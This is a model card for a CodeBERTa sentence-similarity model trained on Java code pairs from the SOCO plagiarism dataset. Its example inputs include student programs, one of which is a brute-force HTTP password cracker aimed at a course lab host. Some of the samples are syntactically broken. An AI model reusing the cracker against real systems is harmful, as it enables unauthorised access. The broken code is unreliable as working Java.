Sentence Similarity
sentence-transformers
Safetensors
roberta
feature-extraction
Generated from Trainer
dataset_size:30069
loss:SoftmaxLoss
text-embeddings-inference
Instructions to use buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- sentence-transformers
How to use buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST with sentence-transformers:
from sentence_transformers import SentenceTransformer model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST") sentences = [ "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n }\n \n protected UnaryPredicate ignore = null;\n\n \n protected Object[] file0, file1;\n\n \n public void print_script(Diff.change script) {\n Diff.change next = script;\n\n while (next != null)\n {\n Diff.change t, end;\n\n \n t = next;\n end = hunkfun(next);\n\n \n next = end;\n end = null;\n \n \n\n \n print_hunk(t);\n\n \n end = next;\n }\n outfile.flush();\n }\n\n \n\n protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\n for (next = hunk; next != null; next = next.next())\n {\n l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if (!ignore.execute(file0[i]))\n nontrivial = true;\n for (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n nontrivial = true;\n }\n\n first0 = f0;\n last0 = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n show_from = show_to = 0;\n\n deletes = show_from;\n inserts = show_to;\n }\n\n \n protected void print_header(String filea, String fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre + linbuf.toString());\n }\n\n \n\n protected void print_number_range (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public static char change_letter(int inserts, int deletes) {\n if (inserts == 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n else\n return 'c';\n }\n }\n\n \n public static class NormalPrint extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts, deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n for (int i = first1; i <= last1; i++)\n print_1_line (\"> \", file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts, deletes));\n\n \n if (inserts != 0)\n {\n boolean inserting = true;\n for (int i = first1; i <= last1; i++)\n {\n \n if (! inserting)\n outfile.println(i - first1 + first0 + \"a\");\n inserting = true;\n\n \n\n if (\".\".equals(file1[i]))\n {\n outfile.println(\"..\");\n outfile.println(\".\");\n \n outfile.println(i - first1 + first0 + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n }\n else\n \n print_1_line (\"\", file1[i]);\n }\n\n \n if (inserting)\n outfile.println(\".\");\n }\n }\n }\n\n \n public static class ContextPrint extends Base {\n\n protected int context = 3;\n\n public ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected void print_context_label (String cad, File inf, String label) {\n if (label != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified() > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath() + '\\t' + new Date(inf.lastModified())\n );\n else\n \n outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void print_header(String filea,String fileb) {\n print_context_label (\"***\", new File(filea), filea);\n print_context_label (\"---\", new File(fileb), fileb);\n }\n\n \n private String find_function(Object[] lines, int x) {\n return null;\n }\n\n protected void print_function(Object[] file,int x) {\n String function = find_function (file0, first0);\n if (function != null) {\n outfile.print(\" \");\n outfile.print(\n (function.length() < 40) ? function : function.substring(0,40)\n );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n print_number_range (',', first0, last0);\n outfile.println(\" ****\");\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for (int i = first0; i <= last0; i++) {\n \n\n while (next != null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \n\n String prefix = \" \";\n if (next != null && next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"!\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\n while (next != null && next.line1 + next.inserted <= i)\n next = next.next;\n\n \n\n String prefix = \" \";\n if (next != null && next.line1 <= i)\n \n prefix = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n }\n }\n }\n }\n\n \n public static class UnifiedPrint extends ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n public void print_header(String filea,String fileb) {\n print_context_label (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new File(fileb), fileb);\n }\n\n private void print_number_range (int a, int b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n else\n super.print_number_range(',',a,b);\n }\n\n protected void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"@@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\");\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\n \n print_function(file0,first0);\n\n outfile.println();\n\n Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\n while (i <= last0 || j <= last1) {\n\n \n\n if (next == null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\", file0[i++]);\n j++;\n }\n else {\n \n\n int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n print_1_line(\"\", file0[i++]);\n }\n\n \n\n k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n print_1_line(\"\", file1[j++]);\n }\n\n \n\n next = next.next;\n }\n }\n }\n }\n\n\n \n static String[] slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return a;\n }\n\n\n public static String getDiff(String filea,String fileb,String filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j)) {\n case 'e': \n style = 'e'; break;\n case 'c': \n style = 'c'; break;\n case 'u':\n style = 'u'; break;\n }\n }\n }\n }\n boolean reverse = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script == null)\n msg=\"The text the has not changed.\\n\";\n else {\n Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b); break;\n case'c':\n p = new ContextPrint(a,b); break;\n case 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p = new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n }\n\treturn msg;\n }\n}\n", "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}", "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n boolean auth = false;\n Date = new Date();\n boolean morePasswords = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n URL url = new URL(resource);\n HttpURLConnection conn = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {\n System.out.println(\"cracked with \" + new String(password));\n auth = true;\n }\n } catch (Exception e) {\n System.out.println(\" was exception: \" + e.getMessage());\n }\n int count = passPtr;\n while (true) {\n if (password[count] == validChars.charAt(validChars.length() - 1)) {\n password[count] = validChars.charAt(0);\n count--;\n } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);\n break;\n }\n if (count < 0) {\n \n if (passPtr < MAX_LENGTH - 1) {\n passPtr++;\n password[passPtr] = validChars.charAt(0);\n } else {\n morePasswords = false;\n }\n break;\n }\n }\n \n } \n if (!auth) {\n System.out.println(\"Unable determine password\");\n } else {\n time = (new Date()).getTime() - start.getTime();\n System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator {\n char[] password;\n public CrackAuth(char[] password) {\n this.password = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n {\n String user = \"\";\n return new PasswordAuthentication(user, password);\n }\n}\n", "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}" ] embeddings = model.encode(sentences) similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [4, 4] - Notebooks
- Google Colab
- Kaggle
| tags: | |
| - sentence-transformers | |
| - sentence-similarity | |
| - feature-extraction | |
| - generated_from_trainer | |
| - dataset_size:30069 | |
| - loss:SoftmaxLoss | |
| base_model: huggingface/CodeBERTa-small-v1 | |
| widget: | |
| - source_sentence: "\nimport java.io.*;\nimport java.util.Vector;\nimport java.util.Date;\n\ | |
| \n\ninterface UnaryPredicate {\n boolean execute(Object obj);\n}\n\n\npublic\ | |
| \ class DiffPrint {\n \n static String outFile=\"\";\n\n public static abstract\ | |
| \ class Base {\n protected Base(Object[] a,Object[] b) {\n\ttry\n\t{\n \ | |
| \ outfile = new PrintWriter(new FileWriter(outFile));\t\t\n\t}\n\tcatch (Exception\ | |
| \ e)\n\t{\n\t\te.printStackTrace();\n\t}\n file0 = a;\n file1 = b;\n\ | |
| \ }\n \n protected UnaryPredicate ignore = null;\n\n \n protected\ | |
| \ Object[] file0, file1;\n\n \n public void print_script(Diff.change script)\ | |
| \ {\n Diff.change next = script;\n\n while (next != null)\n {\n\ | |
| \ Diff.change t, end;\n\n \n t = next;\n end\ | |
| \ = hunkfun(next);\n\n \n next = end;\n end = null;\n\ | |
| \ \n \n\n \n print_hunk(t);\n\n \n\ | |
| \ end = next;\n }\n outfile.flush();\n }\n\n \n\n\ | |
| \ protected Diff.change hunkfun(Diff.change hunk) {\n return hunk;\n \ | |
| \ }\n\n protected int first0, last0, first1, last1, deletes, inserts;\n \ | |
| \ protected PrintWriter outfile;\n\n \n\n protected void analyze_hunk(Diff.change\ | |
| \ hunk) {\n int f0, l0 = 0, f1, l1 = 0, show_from = 0, show_to = 0;\n \ | |
| \ int i;\n Diff.change next;\n boolean nontrivial = (ignore == null);\n\ | |
| \n show_from = show_to = 0;\n\n f0 = hunk.line0;\n f1 = hunk.line1;\n\ | |
| \n for (next = hunk; next != null; next = next.next())\n {\n \ | |
| \ l0 = next.line0 + next.deleted - 1;\n l1 = next.line1 + next.inserted\ | |
| \ - 1;\n show_from += next.deleted;\n show_to += next.inserted;\n\ | |
| \ for (i = next.line0; i <= l0 && ! nontrivial; i++)\n if\ | |
| \ (!ignore.execute(file0[i]))\n nontrivial = true;\n for\ | |
| \ (i = next.line1; i <= l1 && ! nontrivial; i++)\n if (!ignore.execute(file1[i]))\n\ | |
| \ nontrivial = true;\n }\n\n first0 = f0;\n last0\ | |
| \ = l0;\n first1 = f1;\n last1 = l1;\n\n \n\n if (!nontrivial)\n\ | |
| \ show_from = show_to = 0;\n\n deletes = show_from;\n inserts\ | |
| \ = show_to;\n }\n\n \n protected void print_header(String filea, String\ | |
| \ fileb) { }\n\n protected abstract void print_hunk(Diff.change hunk);\n \ | |
| \ \n protected void print_1_line(String pre,Object linbuf) {\n outfile.println(pre\ | |
| \ + linbuf.toString());\n }\n\n \n\n protected void print_number_range\ | |
| \ (char sepchar, int a, int b) {\n \n if (++b > ++a)\n outfile.print(\"\ | |
| \" + a + sepchar + b);\n else\n outfile.print(b);\n }\n\n public\ | |
| \ static char change_letter(int inserts, int deletes) {\n if (inserts ==\ | |
| \ 0)\n return 'd';\n else if (deletes == 0)\n return 'a';\n\ | |
| \ else\n return 'c';\n }\n }\n\n \n public static class NormalPrint\ | |
| \ extends Base {\n\n public NormalPrint(Object[] a,Object[] b) {\n super(a,b);\n\ | |
| \ }\n\n \n\n protected void print_hunk (Diff.change hunk) {\n\n \ | |
| \ \n analyze_hunk(hunk);\n if (deletes == 0 && inserts == 0)\n \ | |
| \ return;\n\n \n print_number_range (',', first0, last0);\n outfile.print(change_letter(inserts,\ | |
| \ deletes));\n print_number_range (',', first1, last1);\n outfile.println();\n\ | |
| \n \n if (deletes != 0)\n for (int i = first0; i <= last0; i++)\n\ | |
| \ print_1_line (\"< \", file0[i]);\n\n if (inserts != 0 && deletes\ | |
| \ != 0)\n outfile.println(\"---\");\n\n \n if (inserts != 0)\n\ | |
| \ for (int i = first1; i <= last1; i++)\n print_1_line (\"> \"\ | |
| , file1[i]);\n }\n }\n\n \n public static class EdPrint extends Base {\n\ | |
| \n public EdPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n \ | |
| \ \n protected void print_hunk(Diff.change hunk) {\n\n \n analyze_hunk\ | |
| \ (hunk);\n if (deletes == 0 && inserts == 0)\n return;\n\n \n\ | |
| \ print_number_range (',', first0, last0);\n outfile.println(change_letter(inserts,\ | |
| \ deletes));\n\n \n if (inserts != 0)\n {\n boolean\ | |
| \ inserting = true;\n for (int i = first1; i <= last1; i++)\n \ | |
| \ {\n \n if (! inserting)\n outfile.println(i\ | |
| \ - first1 + first0 + \"a\");\n inserting = true;\n\n \ | |
| \ \n\n if (\".\".equals(file1[i]))\n {\n \ | |
| \ outfile.println(\"..\");\n outfile.println(\".\"\ | |
| );\n \n outfile.println(i - first1 + first0\ | |
| \ + 1 + \"s/^\\\\.\\\\././\");\n inserting = false;\n \ | |
| \ }\n else\n \n print_1_line\ | |
| \ (\"\", file1[i]);\n }\n\n \n if (inserting)\n \ | |
| \ outfile.println(\".\");\n }\n }\n }\n\n \n public static\ | |
| \ class ContextPrint extends Base {\n\n protected int context = 3;\n\n public\ | |
| \ ContextPrint(Object[] a,Object[] b) {\n super(a,b);\n }\n\n protected\ | |
| \ void print_context_label (String cad, File inf, String label) {\n if (label\ | |
| \ != null)\n outfile.println(cad + ' ' + label);\n else if (inf.lastModified()\ | |
| \ > 0)\n \n outfile.println(\n cad + ' ' + inf.getPath()\ | |
| \ + '\\t' + new Date(inf.lastModified())\n );\n else\n \n \ | |
| \ outfile.println( cad + ' ' + inf.getPath());\n }\n\n public void\ | |
| \ print_header(String filea,String fileb) {\n print_context_label (\"***\"\ | |
| , new File(filea), filea);\n print_context_label (\"---\", new File(fileb),\ | |
| \ fileb);\n }\n\n \n private String find_function(Object[] lines, int\ | |
| \ x) {\n return null;\n }\n\n protected void print_function(Object[]\ | |
| \ file,int x) {\n String function = find_function (file0, first0);\n \ | |
| \ if (function != null) {\n outfile.print(\" \");\n outfile.print(\n\ | |
| \ (function.length() < 40) ? function : function.substring(0,40)\n \ | |
| \ );\n }\n }\n\n protected void print_hunk(Diff.change hunk) {\n\ | |
| \n \n\n analyze_hunk (hunk);\n\n if (deletes == 0 && inserts ==\ | |
| \ 0)\n return;\n\n \n\n first0 = Math.sqrt(first0 - context,\ | |
| \ 0);\n first1 = Math.sqrt(first1 - context, 0);\n last0 = Math.sqrt(last0\ | |
| \ + context, file0.length - 1);\n last1 = Math.sqrt(last1 + context, file1.length\ | |
| \ - 1);\n\n\n outfile.print(\"***************\");\n\n \n print_function\ | |
| \ (file0, first0);\n\n outfile.println();\n outfile.print(\"*** \");\n\ | |
| \ print_number_range (',', first0, last0);\n outfile.println(\" ****\"\ | |
| );\n\n if (deletes != 0) {\n Diff.change next = hunk;\n\n for\ | |
| \ (int i = first0; i <= last0; i++) {\n \n\n while (next !=\ | |
| \ null && next.line0 + next.deleted <= i)\n next = next.next;\n\n \ | |
| \ \n\n String prefix = \" \";\n if (next != null &&\ | |
| \ next.line0 <= i)\n \n prefix = (next.inserted > 0) ? \"\ | |
| !\" : \"-\";\n\n print_1_line (prefix, file0[i]);\n }\n }\n\ | |
| \n outfile.print(\"--- \");\n print_number_range (',', first1, last1);\n\ | |
| \ outfile.println(\" ----\");\n\n if (inserts != 0) {\n Diff.change\ | |
| \ next = hunk;\n\n for (int i = first1; i <= last1; i++) {\n \n\ | |
| \n while (next != null && next.line1 + next.inserted <= i)\n \ | |
| \ next = next.next;\n\n \n\n String prefix = \" \";\n \ | |
| \ if (next != null && next.line1 <= i)\n \n prefix\ | |
| \ = (next.deleted > 0) ? \"!\" : \"+\";\n\n print_1_line (prefix, file1[i]);\n\ | |
| \ }\n }\n }\n }\n\n \n public static class UnifiedPrint extends\ | |
| \ ContextPrint {\n\n public UnifiedPrint(Object[] a,Object[] b) {\n super(a,b);\n\ | |
| \ }\n\n public void print_header(String filea,String fileb) {\n print_context_label\ | |
| \ (\"---\", new File(filea), filea);\n print_context_label (\"+++\", new\ | |
| \ File(fileb), fileb);\n }\n\n private void print_number_range (int a, int\ | |
| \ b) {\n \n\n \n if (b < a)\n outfile.print(b + \",0\");\n\ | |
| \ else\n super.print_number_range(',',a,b);\n }\n\n protected\ | |
| \ void print_hunk(Diff.change hunk) {\n \n analyze_hunk (hunk);\n\n\ | |
| \ if (deletes == 0 && inserts == 0)\n return;\n\n \n\n first0\ | |
| \ = Math.sqrt(first0 - context, 0);\n first1 = Math.sqrt(first1 - context,\ | |
| \ 0);\n last0 = Math.sqrt(last0 + context, file0.length - 1);\n last1\ | |
| \ = Math.sqrt(last1 + context, file1.length - 1);\n\n\n\n outfile.print(\"\ | |
| @@ -\");\n print_number_range (first0, last0);\n outfile.print(\" +\"\ | |
| );\n print_number_range (first1, last1);\n outfile.print(\" @@\");\n\ | |
| \n \n print_function(file0,first0);\n\n outfile.println();\n\n\ | |
| \ Diff.change next = hunk;\n int i = first0;\n int j = first1;\n\ | |
| \n while (i <= last0 || j <= last1) {\n\n \n\n if (next ==\ | |
| \ null || i < next.line0) {\n outfile.print(' ');\n print_1_line(\"\ | |
| \", file0[i++]);\n j++;\n }\n else {\n \n\n \ | |
| \ int k = next.deleted;\n while (k-- > 0) {\n outfile.print('-');\n\ | |
| \ print_1_line(\"\", file0[i++]);\n }\n\n \n\n \ | |
| \ k = next.inserted;\n while (k-- > 0) {\n outfile.print('+');\n\ | |
| \ print_1_line(\"\", file1[j++]);\n }\n\n \n\n \ | |
| \ next = next.next;\n }\n }\n }\n }\n\n\n \n static String[]\ | |
| \ slurp(String file) throws IOException {\n BufferedReader rdr = new BufferedReader(new\ | |
| \ FileReader(file));\n Vector s = new Vector();\n for (;;) {\n String\ | |
| \ line = rdr.readLine();\n if (line == null) break;\n s.addElement(line);\n\ | |
| \ }\n String[] a = new String[s.size()];\n s.copyInto(a);\n return\ | |
| \ a;\n }\n\n\n public static String getDiff(String filea,String fileb,String\ | |
| \ filec) throws IOException {\n\tDiffPrint.outFile=filec;\n\tString msg=\"\";\n\ | |
| \tString[] a = slurp(filea);\n String[] b = slurp(fileb);\n\tString [] argv={filea,fileb};\n\ | |
| \ Diff d = new Diff(a,b);\n char style = 'n';\n for (int i = 0; i < argv.length\ | |
| \ - 2; ++i) {\n String f = argv[i];\n if (f.startsWith(\"-\")) {\n \ | |
| \ for (int j = 1; j < f.length(); ++j) {\n switch (f.charAt(j))\ | |
| \ {\n case 'e': \n style = 'e'; break;\n case\ | |
| \ 'c': \n style = 'c'; break;\n case 'u':\n \ | |
| \ style = 'u'; break;\n }\n }\n }\n }\n boolean reverse\ | |
| \ = style == 'e';\n Diff.change script = d.diff_2(reverse);\n if (script\ | |
| \ == null)\n msg=\"The text the has not changed.\\n\";\n else {\n \ | |
| \ Base p;\n msg=\"The text the has changed.\\n The Diff Output is : \\\ | |
| n\\n\";\n switch (style) {\n case 'e':\n p = new EdPrint(a,b);\ | |
| \ break;\n case'c':\n p = new ContextPrint(a,b); break;\n case\ | |
| \ 'u':\n p = new UnifiedPrint(a,b); break;\n default:\n p =\ | |
| \ new NormalPrint(a,b);\n }\n p.print_header(filea,fileb);\n p.print_script(script);\n\ | |
| \ }\n\treturn msg;\n }\n}\n" | |
| sentences: | |
| - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate\ | |
| \ String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender,\ | |
| \ String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient\ | |
| \ = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject,\ | |
| \ String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\t\ | |
| is = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream = null;\n\ | |
| \n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\t\ | |
| os = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader\ | |
| \ response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"\ | |
| HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ | |
| \n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ | |
| \n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ | |
| \n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\ | |
| \\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\ | |
| \t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"\ | |
| Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"\ | |
| <EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"\ | |
| got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader\ | |
| \ response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\ | |
| \n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\t\ | |
| if(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}" | |
| - "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\ | |
| \ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\ | |
| \ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\ | |
| \ boolean auth = false;\n Date = new Date();\n boolean morePasswords\ | |
| \ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\ | |
| abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\ | |
| \ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \ | |
| \ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ | |
| ;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\ | |
| \ URL url = new URL(resource);\n HttpURLConnection conn\ | |
| \ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\ | |
| HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\ | |
| \ {\n System.out.println(\"cracked with \" + new String(password));\n\ | |
| \ auth = true;\n }\n } catch (Exception e) {\n\ | |
| \ System.out.println(\" was exception: \" + e.getMessage());\n \ | |
| \ }\n int count = passPtr;\n while (true) {\n \ | |
| \ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \ | |
| \ password[count] = validChars.charAt(0);\n count--;\n\ | |
